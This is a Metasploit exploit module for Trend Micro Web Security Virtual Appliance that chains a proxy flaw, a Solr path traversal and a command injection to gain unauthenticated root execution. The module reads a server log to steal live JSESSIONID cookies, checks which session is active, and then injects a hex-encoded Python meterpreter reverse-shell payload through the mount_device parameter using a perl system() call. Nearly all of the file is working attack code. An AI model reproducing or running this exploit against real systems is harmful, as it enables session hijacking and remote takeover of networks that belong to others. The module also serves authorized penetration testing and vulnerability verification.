##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Trend Micro Web Security (Virtual Appliance) Remote Code Execution',
        'Description' => %q{
          This module exploits multiple vulnerabilities together in order to achive a remote code execution.
          Unauthenticated users can execute a terminal command under the context of the root user.

          The specific flaw exists within the LogSettingHandler class of administrator interface software.
          When parsing the mount_device parameter, the process does not properly validate a user-supplied string
          before using it to execute a system call. An attacker can leverage this vulnerability to execute code in
          the context of root. But authentication is required to exploit this vulnerability.

          Another specific flaw exist within the proxy service, which listens on port 8080 by default. Unauthenticated users
          can exploit this vulnerability in order to communicate with internal services in the product.

          Last but not least a flaw exists within the Apache Solr application, which is installed within the product.
          When parsing the file parameter, the process does not properly validate a user-supplied path prior to using it in file operations.
          An attacker can leverage this vulnerability to disclose information in the context of the IWSS user.

          Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the root user.

          Version perior to 6.5 SP2 Patch 4 (Build 1901) are affected.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Mehmet Ince <mehmet@mehmetince.net>' # discovery & msf module
          ],
        'References' =>
          [
            ['CVE', '2020-8604'],
            ['CVE', '2020-8605'],
            ['CVE', '2020-8606'],
            ['ZDI', '20-676'],
            ['ZDI', '20-677'],
            ['ZDI', '20-678']
          ],
        'Privileged' => true,
        'DefaultOptions' =>
          {
            'SSL' => true,
            'payload' => 'python/meterpreter/reverse_tcp',
            'WfsDelay' => 30
          },
        'Payload' =>
          {
            'Compat' =>
            {
              'ConnectionType' => '-bind'
            }
          },
        'Platform' => ['python'],
        'Arch' => ARCH_PYTHON,
        'Targets' => [ ['Automatic', {}] ],
        'DisclosureDate' => '2020-06-10',
        'DefaultTarget' => 0,
        'Notes' =>
          {
            'Stability' => [CRASH_SAFE],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => [IOC_IN_LOGS]
          }
      )
    )

    register_options(
      [
        Opt::RPORT(8443),
        OptInt.new('PROXY_PORT', [true, 'Port number of Trend Micro Web Filter Proxy service', 8080])
      ]
    )
  end

  def hijack_cookie
    # Updating SSL and RPORT in order to communicate with HTTP proxy service.
    if datastore['SSL']
      ssl_restore = true
      datastore['SSL'] = false
    end
    port_restore = datastore['RPORT']
    datastore['RPORT'] = datastore['PROXY_PORT']

    @jsessionid = ''

    # We are exploiting proxy service vulnerability in order to fetch content of catalina.out file
    print_status('Trying to extract session ID by exploiting reverse proxy service')

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => "http://#{datastore['RHOST']}:8983/solr/collection0/replication",
      'vars_get' => {
        'command' => 'filecontent',
        'wt' => 'filestream',
        'generation' => 1,
        'file' => '../' * 7 << 'var/iwss/tomcat/logs/catalina.out'
      }
    })

    # Restore variables and validate extracted sessionid
    datastore['SSL'] = true if ssl_restore
    datastore['RPORT'] = port_restore

    # Routine check on res object
    unless res
      fail_with(Failure::Unreachable, 'Target is unreachable.')
    end

    # If the res code is not 200 that means proxy service is not vulnerable.
    unless res.code == 200
      @jsessionid = -1
      return
    end

    # Now we are going to extract all JESSIONID from log file and store them in array.
    cookies = res.body.scan(/CheckUserLogon sessionid : (.*)/).flatten

    if cookies.empty?
      @jsessionid = 0
      print_error('System is vulnerable, however a user session was not detected and is therefore unexploitable. Retry after a user logs in.')
      return
    end

    print_good("Extracted number of JSESSIONID: #{cookies.length}")

    # We gotta switch back to adminsitrator interface port instead of proxy service. Restore rport and ssl variables.
    datastore['SSL'] = true if ssl_restore
    datastore['RPORT'] = port_restore

    # Latest cookie in the log file is the one most probably active. So that we use reverse on array.
    cookies.reverse.each_with_index do |cookie, index|
      print_status("Testing JSESSIONID ##{index} : #{cookie}")

      # This endpoints is basically check session :)
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri('rest', 'commonlog', 'get_sessionID'),
        'cookie' => "JSESSIONID=#{cookie}"
      })

      # Routine res check
      unless res
        fail_with(Failure::UnexpectedReply, 'Target is unreachable.')
      end

      # If the cookie is active !
      if res.code == 200 && res.body.include?('session_flag')
        print_good("Awesome!!! JESSIONID ##{index} is active.")
        @jsessionid = cookie
        break
      end

      print_warning("JSESSIONID ##{index} is inactive! Moving to the next one.")
    end

    if @jsessionid.empty?
      print_error('System is vulnerable, however extracted cookies are not valid! Please wait for a user or admin to login.')
    end
  end

  def check
    #
    # @jsessionid can be one of the following value
    #
    # -1 = Proxy service is not vulnerable, which means we'r not gonna
    # be able to read catalina.out
    #
    # 0  = Proxy service is vulnerable, but catalina.out does not contain any
    # jessionid string yet !
    #
    # empty = Proxy service is vulnerable, but jessionid within log file but
    # none of them are valid:(
    #
    # string = Proxy service is vulnerable and sessionid is valid !
    #
    hijack_cookie

    if @jsessionid == -1
      CheckCode::Safe
    else
      CheckCode::Vulnerable
    end
  end

  def exploit

    unless check == CheckCode::Vulnerable
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    #
    # 0     => Proxy service is vulnerable, but catalina.out does not contain any
    # jessionid string yet !
    #
    # empty => Proxy service is vulnerable, but jessionid within log file but
    # none of them are valid:(
    #
    if @jsessionid.empty? || @jessionid == 0
      fail_with Failure::NoAccess, ''
    end

    print_status('Exploiting command injection vulnerability')

    # Yet another app specific bypass is going on here.
    # It's so buggy to make the cmd payloads work under the following circumstances (Weak blacklisting, double escaping etc)
    # For that reason, I am planting our payload dropper within the perl command.

    cmd = "python -c \"#{payload.encoded}\""
    final_payload = cmd.to_s.unpack1('H*')
    p = "perl -e 'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"

    vars_post = {
      mount_device: "mount $(#{p}) /var/offload",
      cmd: 'mount'
    }

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'rest', 'commonlog', 'log_setting', 'mount_device'),
      'cookie' => "JSESSIONID=#{@jsessionid}",
      'ctype' => 'application/json',
      'data' => vars_post.to_json
    })
  end
end